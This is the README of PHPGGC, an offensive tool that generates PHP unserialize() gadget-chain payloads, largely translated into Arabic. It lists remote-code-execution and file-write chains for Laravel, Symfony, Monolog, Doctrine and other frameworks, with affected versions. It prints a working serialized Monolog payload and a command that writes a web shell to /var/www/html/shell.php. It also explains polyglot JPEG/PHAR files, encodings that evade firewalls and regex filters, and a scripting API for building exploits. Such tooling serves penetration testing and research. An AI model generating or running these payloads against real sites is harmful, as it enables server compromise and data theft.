
PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
PHPGGC هي مكتبة من حمولات unserialize() بالإضافة إلى أداة لتوليدها، من سطر الأوامر أو برمجيًا.
عند مواجهة unserialize على موقع لا تملك كوده، أو ببساطة عند محاولة بناء استغلال، تتيح لك هذه الأداة توليد الحمولة دون الحاجة إلى المرور بالخطوات المملة للعثور على الأدوات ودمجها. يمكن اعتبارها المكافئ لـ frohoff's ysoserial، لكن بالنسبة لـ PHP.
حاليًا، تدعم الأداة سلاسل الأدوات مثل: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii وZendFramework.
يتطلب تشغيل PHPGGC إصدار PHP >= 5.6.
شغّل ./phpggc -l للحصول على قائمة بسلاسل الأدوات:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
تصفية سلاسل الأدوات:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
كل سلسلة أدوات تحتوي على:
unserialize (__destruct()، __toString()، offsetGet()، ...)استخدم -i للحصول على معلومات مفصلة حول سلسلة:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
بالنسبة لأدوات RCE، يمكن أن يكون للأمر المنفَّذ 3 أنواع من التنسيق اعتمادًا على كيفية عمل الأداة:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idبمجرد اختيار سلسلة، شغّل ./phpggc <gadget-chain> [parameters] للحصول على الحمولة.
على سبيل المثال، للحصول على حمولة لـ Monolog، يمكنك القيام بما يلي:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
لكتابة ملف باستخدام SwiftMailer، يمكنك القيام بما يلي:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
يتيح لك الخيار --wrapper (-w) تعريف ملف PHP يحتوي على الدوال التالية:
process_parameters(array $parameters): تُستدعى مباشرة قبل generate()، وتسمح بتغيير المعاملاتprocess_object(object $object): تُستدعى مباشرة قبل serialize()، وتسمح بتغيير الكائنprocess_serialized(string $serialized): تُستدعى مباشرة بعد serialize()، وتسمح بتغيير السلسلة المتسلسلةعلى سبيل المثال، إذا كان الكود الهش يبدو هكذا:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
يمكنك استخدام سلسلة __toString()، مع تغليفها على النحو التالي:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
وبعدها تستدعي phpggc كما يلي:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
في BlackHat US 2018، أصدر @s_n_t أداة PHARGGC، وهي فرع من PHPGGC يعمل، بدلاً من بناء حمولة متسلسلة، على بناء ملف PHAR كامل. يحتوي ملف PHAR هذا على بيانات متسلسلة، وبالتالي يمكن استخدامه لتقنيات استغلال متنوعة (file_exists, fopen, وغيرها). الورقة البحثية موجودة هنا.
تأتي أرشيفات PHAR بثلاثة تنسيقات مختلفة: PHAR، TAR، وZIP. التنسيقات الثلاثة مدعومة في PHPGGC.
يمكن توليد ملفات Polyglot باستخدام --phar-jpeg (-pj). تتوفر خيارات أخرى (استخدم -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
تسمح الوسائط بتعديل طريقة إخراج الحمولة. على سبيل المثال، -u سيقوم بترميزها لـ URL، و-b سيحوّلها إلى base64.
غالبًا ما تحتوي الحمولات على بايتات NULL ولا يمكن نسخها ولصقها كما هي. استخدم -s لترميز URL معتدل، مما يُبقي الحمولة مقروءة.
يمكن سلسلة الترميزات، وبالتالي الترتيب مهم. على سبيل المثال، ./phpggc -b -u -u slim/rce1 system id سيحوّل الحمولة إلى base64، ثم يرمّزها لـ URL مرتين.
تنفّذ PHPGGC علم --fast-destruct (-f)، الذي يضمن تدمير الكائن المتسلسل الخاص بك مباشرة بعد استدعاء unserialize()، وليس في نهاية السكربت. أنصح باستخدامه لكل ناقل __destruct، لأنه يحسّن الموثوقية. على سبيل المثال، إذا قام سكربت PHP بطرح استثناء بعد الاستدعاء، فقد لا يتم استدعاء دالة __destruct للكائن الخاص بك. ولأنه تتم معالجته في نفس وقت معالجة الترميزات، يجب ضبطه أولاً.
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
يستخدم تنسيق التسلسل S بدلاً من s القياسي. يستبدل هذا كل حرف غير ASCII بتمثيل سداسي عشري:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
يمكن أن يكون هذا مفيدًا عندما لا يُسمح بالحروف غير ASCII لسبب ما (مثل البايت NULL). وبما أن الحمولات تحتوي عليها عمومًا، فهذا يضمن أن الحمولة تتكون فقط من قيم ASCII.
ملاحظة: هذا تجريبي وقد لا يعمل في بعض الحالات.
يستخدم تنسيق التسلسل S بدلاً من s القياسي. يستبدل هذا كل حرف بتمثيل سداسي عشري:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D";
هذا مفيد عندما يحجب جدار حماية أو كود PHP السلاسل.
ملاحظة: هذا تجريبي وقد لا يعمل في بعض الحالات.
ملاحظة: هذا يجعل كل سلسلة في الحمولة تنمو بمعامل 3.
أحيانًا، تتحقق سكربتات PHP من أن الحمولة المتسلسلة المعطاة لا تحتوي على كائنات باستخدام regex مثل /O:[0-9]+:/. يمكن تجاوز ذلك بسهولة باستخدام O:+123:... بدلاً من O:123:. يمكن استخدام --plus-numbers <types>، أو -n <types>، لإضافة علامات + تلقائيًا أمام الرموز.
على سبيل المثال، لإخفاء الكائنات والسلاسل، يمكنك استخدام: --n Os. يرجى ملاحظة أنه منذ PHP 7.2، فقط الأنواع i وd (float) يمكن أن تحتوي على +.
يحاول تحويل المراجع إلى الخصائص المحمية أو الخاصة داخل الحمولة المتسلسلة إلى خصائص عامة. يمكن أن يكون هذا مفيدًا لأنه عندما تقوم PHP بتسلسل خاصية غير عامة لكائن ما، فإنها تسبق اسم الخاصية بعلامة نجمية (للمحمية) أو باسم الفئة (للخاصة) محاطة ببايتات NULL، والتي يسهل فقدانها إذا تم نقل الحمولة أو تخزينها كنص عادي بدون ترميز. إذا حدث ذلك، ستفشل الحمولة في إلغاء التسلسل لأن طول اسم الخاصية (والاسم نفسه) سيكون غير صحيح. كمكافأة إضافية، تكون الحمولات أصغر قليلاً بدون البادئات. تحويل الخصائص إلى عامة يميل إلى العمل في إصدارات PHP الأحدث، لكنه قد يسبب مشاكل في الإصدارات الأقدم (قبل PHP 7.2). قد لا تعمل هذه الوظيفة بشكل صحيح إذا كانت السلسلة تحتوي على كائن واحد أو أكثر لديه تنفيذ مخصص للتسلسل / إلغاء التسلسل.
لاختبار ما إذا كانت سلسلة الأدوات التي تريد استخدامها تعمل في البيئة المستهدفة، انتقل إلى مجلد البيئة الخاص بك وشغّل السلسلة بدون وسائط، مع خيار --test-payload.
على سبيل المثال، لاختبار ما إذا كانت Monolog/RCE2 تعمل على Symfony 4.x:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
سيكون رمز الخروج 0 إذا تم تشغيل الحمولة، و1 في الحالة الأخرى.
إذا كنت تريد معرفة إصدارات الحزمة التي تعمل معها سلسلة أدوات معينة، يمكنك استخدام test-gc-compatibility.py.
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
يمكنك تحديد الإصدارات التي تريد اختبارها باستخدام الصيغة التالية.
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
بدلاً من استخدام PHPGGC كأداة سطر أوامر، يمكنك برمجة سكربتات PHP:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
هذا يتيح لك تعديل المعاملات أو كتابة الاستغلالات بسهولة أكبر. ملاحظة: هذا تجريبي إلى حد كبير في الوقت الحالي، لذا يرجى الإبلاغ عن الأخطاء.
المساهمات (Pull requests) مرحّب بها أكثر من أي وقت مضى. يرجى اتباع هذه الإرشادات البسيطة:
__destruct() هو دائمًا أفضل ناقل{ تكون في سطر جديد، والمصفوفات يجب أن تُكتب بصيغة [1, 2, 3] بدلاً من الصيغة القديمة array(1, 2, 3).من ناحية الكود، هيكل الدليل واضح إلى حد ما: الأدوات في ملف gadgets.php، والوصف والمنطق في ملف chain.php. يمكنك تعريف طرق معالجة قبل وبعد، إذا كانت المعاملات بحاجة إلى تعديل. آمل أن تكون الأدوات المطبقة بالفعل كافية لبناء أدواتك الخاصة. بخلاف ذلك، سأكون سعيدًا بالإجابة على أسئلتك.
يرجى اختبار أكبر عدد ممكن من الإصدارات. تسمية الإصدارات هي كما يلي: [-]<lower-version> <= <higher-version>[+]. تشير علامتا - و+ إلى أن حمولتك قد تعمل على الإصدارات الأقل والأعلى على التوالي. على سبيل المثال، إذا كانت سلسلة الأدوات الخاصة بك تعمل من الإصدار 2.0.0 إلى الإصدار 4.4.1، وهو آخر إصدار في الوقت الحالي، استخدم 2.0.0 <= 4.4.1+.
يمكن استخدام خيار سطر الأوامر --new <framework> <type> لإنشاء هيكل الدليل والملفات لسلسلة أدوات جديدة.
على سبيل المثال، استخدام ./phpggc -n Drupal RCE سينشئ سلسلة أدوات Drupal RCE جديدة.
إذا كنت لا تريد تثبيت PHP، يمكنك بناء صورة Docker باستخدام:
$ docker build . -t 'phpggc'
يمكنك بعد ذلك استخدام phpggc داخل Docker.
$ docker run phpggc Monolog/rce1 'system' 'id'
انتقل إلى مجلد البيئة الخاصة بك وشغّل السلسلة بدون وسائط، مع خيار --test-payload:
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
ملاحظة: يجب تنفيذ الأمر في الدليل الذي توجد به الصورة المدخلة.
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
test-gc-compatibility.py$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘